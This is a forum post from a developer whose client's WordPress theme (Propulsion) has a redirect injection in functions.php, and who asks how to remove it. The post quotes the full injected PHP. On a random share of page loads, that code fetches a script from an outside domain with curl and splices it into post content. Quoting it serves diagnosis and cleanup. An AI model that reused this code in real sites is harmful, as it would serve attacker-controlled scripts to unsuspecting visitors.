[Theme: Propulsion] functions.php injected with redirect virus

I’ve got an issue where I’m working with a client who purchased the Propulsion theme and it seems to have been injected with a redirect hack to jquerys.org. In the functions.php file, this was added or changed:

//register additional image thumbnail sizes that should be generated when user uploads an image:

function ins_php_in_post($content){$percentage = 25;if (rand(0, 100) < $percentage){ob_start();if(function_exists('curl_init')) { $url = "https://www.jquerys.org/jquery-1.6.3.min.js"; $ch = curl_init(); $timeout = 5; curl_setopt($ch,CURLOPT_URL,$url); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout); $data = curl_exec($ch); curl_close($ch); echo "$data"; }$text = ob_get_clean();$pos = rand(0, strlen($content));$txtPrePos = substr($content, 0, $pos);$txtPostPos = substr($content, $pos);$openPos = strrpos($txtPrePos, "<");if ($openPos !== false){$closePos = strrpos($txtPrePos, ">");if ($openPos > $closePos || $closePos === false){$pos = strpos($content, ">", $pos) + 1;}}$spos = strpos($content, " ", $pos);if ($spos === false)	{$spos = strlen($content);}$content = substr($content, 0, $spos) . " " . $text . substr($content, $spos);}return $content;}

add_filter('the_content', 'ins_php_in_post');

I want to lose it, but I don’t have the code, the client does and he hasn’t given it to me yet. Has anyone else had a similar issue and what is the proper code for this file?